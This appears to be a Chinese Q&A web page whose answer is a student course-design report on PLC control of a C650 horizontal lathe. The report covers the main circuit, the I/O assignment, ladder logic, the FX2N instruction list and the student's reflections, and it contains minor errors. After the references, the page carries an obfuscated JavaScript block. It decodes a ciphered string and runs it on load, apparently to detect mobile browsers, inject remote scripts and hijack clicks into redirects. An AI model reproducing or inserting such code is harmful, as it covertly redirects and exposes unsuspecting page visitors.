推荐回答(1个)
C650卧式车床PLC控制系统设计1.目的与要求车床是一种应用极为广泛的金属切削机床,它的主运动为主轴回转运动,刀架的移动为进给运动,车削加工一般不要求反转,但加工螺纹时,为避免乱扣,需要反转退刀,并保证工件的转速与刀具的移动速度之间具有严格的比例关系,溜板箱与主轴箱之间通过齿轮传动系统连接,用它能车削外圆、内孔端面螺纹定型表面等,并可装上钻头绞刀等工具进行孔加工。C650卧式车床是其中较为常见的一种,其原控制电路为继电器控制,接触触点多,故障多。其属于中型车床,功率为30KW,车身的最大回转半径为1020mm,最大工件长度为3000mm。操作人员维修任务较大.针对这种情况,我们用PLC控制其继电器控制电路,采用了反接制动,为了减小制动电流,定字回路串入限流电阻R,为减轻工人劳动的劳动强度和节省辅助工作时间,专门设置了一台2.2KW的拖动溜板箱的快速移动电动机。这些功能克服了以上缺点,降低了设备故障率,提高了设备使用效率,运行效果良好。该车床有三台电动机,M1为主电动机,推动主轴旋转,并通过进给机构以实现进给运动;M2为冷却泵电动机,提供切削液;M3为快速移动电动机,拖动刀架快速移动。2.C650卧式车床主电路设计主电动机M1:KM1、KM2两个接触器实现正反转,FR1作过载保护,R为限流电阻,电流表PA用来监视主电动机的绕组电流,由于主电动机功率很大,故PA接入电流互感器TA回路。当主电动机起动时,电流表PA被短接,只有当正常工作时,电流表PA才指示绕组电流。KM3用于短接电阻R。冷却泵电机M2:KM4接触器控制冷却泵电动机的起停,FR2为M2的过载保护用热继电器。快速电机M3:KM5接触器控制快速移动电动机M3的起停,由于M3点动短时运转,故不设置热继电器。2.1C650卧式车床PLC改造I/O分配图如图1所示,为C650卧式车床PLC改造I/O分配图。输入信号输出信号名称代号输入点编号名称代号输出点编号M1正转启动按钮SB1X0M1切除电阻R运行接触器KM3Y0M1反转启动按钮SB2X1M2运行接触器KM4Y1M2启动按钮SB3X2M3运行接触器KM5Y2总停按钮SB4X3M1正转接触器KM1Y3M2停止按钮SB5X4M1反转接触器KM2Y4M1点动按钮SB6X5电流表A短接中间继电器KAY5M3点动位置开关SQX6M1过载保护热继电器FRX7正转制动速度继电器常开触点KS1X11正转制动速度继电器常开触点KS2X12图1C650卧式车床PLC改造I/O分配2.2PLC选型PLC是20世纪70年代以来以微处理器为核心,综合计算机技术、自动控制技术和通信技术发展起来的一种新型工业自动控制,被广泛应用于各个领域,因为它具有几个突出的特点:可靠性高,抗干扰强;编程简单,易于掌握;功能完善,灵活方便;体积小,质量轻,功耗低。在此次课程设计中我选用FX2N-48MR,因为它的编程相对简单易懂,是理想的可编程控制器。而在设计中的I/O点数在48以下,则用的是微型PLC。其基本单元中的输入点按照X000—X007,X010—X017…这样的八进制进行编号,而输出点按照YOOO—Y007,Y010—Y017…这样的八进制进行编号,内部继电器可多次使用,定时器将1ms,10ms,100ms等脉冲进行加法计数,计数器可进行向上向下计数。2.3主控电路图设计C650型卧式车床共有三台电动机,主轴电动机M1由接触器KM1、KM2、KM3控制,冷却泵电动机M2由接触器KM4控制,快速移动电动机M3由接触器KM5控制。其中主轴电动机M1可以正、反转控制,也可以点动控制,还可以双向反接制动控制。图2.C650主电路控制图2.4主接线图设计图3.卧式车床的主接线图3.梯形图的设计C650卧式车床PLC梯形图3.1主轴电动机正转控制按下主轴电动机正转启动按钮SB1,第一逻辑行中X0闭合,Y0接通并自锁,T0接通并开始计时;第3逻辑行X0闭合,通用继电器M1接通。第2逻辑行Y0常闭触点闭合,通用继电器M0接通;第5逻辑行M0,M1常开触点闭合Y3接通,主轴电动机正向启运转。当主轴电动机正向旋转速度达到一定值时,第6逻辑行X11常开触点闭合,为主轴电动机正向旋反向制动作好准备。T0计时5秒后动作,第9逻辑行T0常开触闭合,接通Y5,电流表A开始监测主轴电动机的电流。3.2主轴电动机反转控制按下主轴电动机正转启动按钮SB2,第2逻辑行中X1闭合,Y0接通并自锁,T0接通并开始计时;第4逻辑行X1闭合,通继电器M2常开触点闭合,Y4接通,Y4接通,主轴电动机反向起动运转。当主轴电动机反向旋转速度达到一定值时,第5逻辑行X12常开闭合,为主轴电动机反向制动做好准备。T0计时经过5秒后动作,第9逻辑行常开触点闭合接通Y5,电流表A开始监测主轴电动机的电流。、3.3主轴电动机点动控制按下主轴电动机点动控制按钮SB6,第5逻辑行常开触点闭合,Y3接通,主轴电动机串电阻R起动运行。3.4主轴电动机正向启动运行反向制动停止控制当Y0、Y3、T0、Y5闭合,主轴电动机正向运转时,按下停止按钮SB4,第第一逻辑行X3常闭触点断开,Y0、T0失电,第3逻辑行X3常闭点断开,M1失电;而第5逻辑行M1常开触点复位断开,Y3失电,主轴电动机停止正转。同时,第6逻辑行X3常开触点闭合,Y4接通,给主轴电动机通入反转电源,使之产生一个反转力矩制动主轴电动机的正向旋转,主轴电动机的正转速度迅速下降。当正转速度下降至一定速度时,速度继电器KS1触点断开,X11常开触点复位断开,Y4断电,完成主轴电动机的正向启动运行反向制动停止过程。3.5主轴电动机反向启动正向制动停止控制当Y0、Y4、T0、Y5闭合,主轴电动机反向运转时,按下停止按钮SB4,第一逻辑行X3常闭触点断开,Y0、T0失电,第4逻辑行X3常闭点断开,M2失电;第6逻辑行M2常开触点复位断开,Y4失电,主轴电动机停止反转。同时,第5逻辑行X3常开触点闭合,Y3接通,给主轴电动机通入正转电源,使之产生一个正转力矩制动主轴电动机的反向旋转,主轴电动机的反转速度迅速下降。当反转速度下降至一定速度时,速度继电器KS2触点断开,X12常开触点复位断开,Y3掉电,完成主轴电动机的反向启动运转正向制动停止过程。3.6冷却泵电动机控制按下冷却泵电动机的启动按钮SB3,第7逻辑行X2常开触点闭合,Y1接通,冷却泵电动机启动运转。3.7快速移动电动机控制按下位置开关ST,第8逻辑行X6常开触点闭合,Y2接通,快速移动电动机启动运行。3.8其他辅助线路监视主回路负载的电流表是通过电源互器接入的。为防止电动机起动、点动和制动电流对电流表的冲击,线路中采用一个时间继电器。点动和制动时,电流表对电路进行监控。控制电路的电源采用了控制变压器TC低压供电,这样使之更安全了。为了方便工作还设置了工作照明灯。4.指令表LDX0ORX1ORM0ANIX3ANDX3OUTY0OUTT0K50LDY0OUTM0LDX0ORM1ANIX3OUTM1LDX1ORM2ANIX3OUTM2LDM0ANDM1ORX5LDX3ORY3ANDX12ORBANDX7ANIY4OUTY3LDM0ANDM2LDX3ORY4ANDX11ORBANDX7ANIY3OUTY4LDX2ORY1ANIX5ANDX10OUTY1LDX6OUTY2LDT0OUTY5END总结将以上设计好的PLC程序输入到FX2N-48MR主机后,连接好输入输出分配和主电路,按照以上的步骤进行调试,调试过程全部通过,完全满足车床的控制要求;C650卧式车床原继电器电路经三菱FX2N系列PLC改造后,虽然一次性投资较大,但改造后的设备大大降低了运行的故障率,提高了设备运行的稳定性和效率,减轻了工人的劳动强度,降低了日常维护成本,并可避免因误操作而引起的事故,改造后的设备经实际使用表明效果非常好。此课程,在“电机拖动”这门课程的基础上,对电动机的各种起动,制动,调速方法所对应的控制线路进行分析,研究。同时,也对电气控制,典型机床和重机械控制线路进行了详细的分析和讲解。期间,我们认识了各种元器件。(继电器,熔断器,主令电气等)课程设计,让我们有很多的机会实际运用一下所学的知识,在对电气原理图,安装图等的绘制与分析,对PLC编程与调试等过程中提高了我们的动手能力及解决实际问题的能力。在这次学习后,我对接触器控制、PLC程序控制两者不同之处有了深刻的体会。接触器控制具有自动控制方法简单、工作可靠、成本低等特点。大多是用于有触点控制系统,适用于固定动作要求的控制设备,一旦工作中发生程序变化、错误,就需要重新配线,比较麻烦,不适用与较复杂和控制要求经常改变的场合。PLC程序控制是在计算机技术基础上发展起来的一种工业自动控制,它编程简单、动作可靠且动作顺序变更容易,一旦工作中发生程序变化,只要改变程序结构即可,因此被广泛应用与复杂控制系统。通过一个学期的课程学习和前几次的课程设计,我对电气控制和可编程控制器PLC也有了一定的了解和掌握。在未上这门课之前,我连接触器、继电器这类最基本的电气元件都不知道。后来通过老师的讲解及自己慢慢的学习,对这方面的知识,逐渐的也有了一定的了解。现在已能看懂和设计一些简单的电气图了。参考文献:[1]王威主编.工业生产自动化[M].北京:科学出版社,2003.9[2]常斗南主编.可编程序控制器原理应用实验[M].北京:机械工业出版社,1998.3[3]王永华.现代电气控制及plc应用技术[M].北京:北京航空航天大学出版社,2003[4]廖常初.plc编程及应用[M].北京:机械工业出版社,2002[5]常晓玲.电气控制系统与可编程控制器[M].北京:机械工业出版社,2005[6]贺哲荣石帅军.流行plc实用及设计[M].西安:西安电子科技大学出版社,2006[7]余雷声.电气控制与plc应用[M].北京:机械工业出版社,1996
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();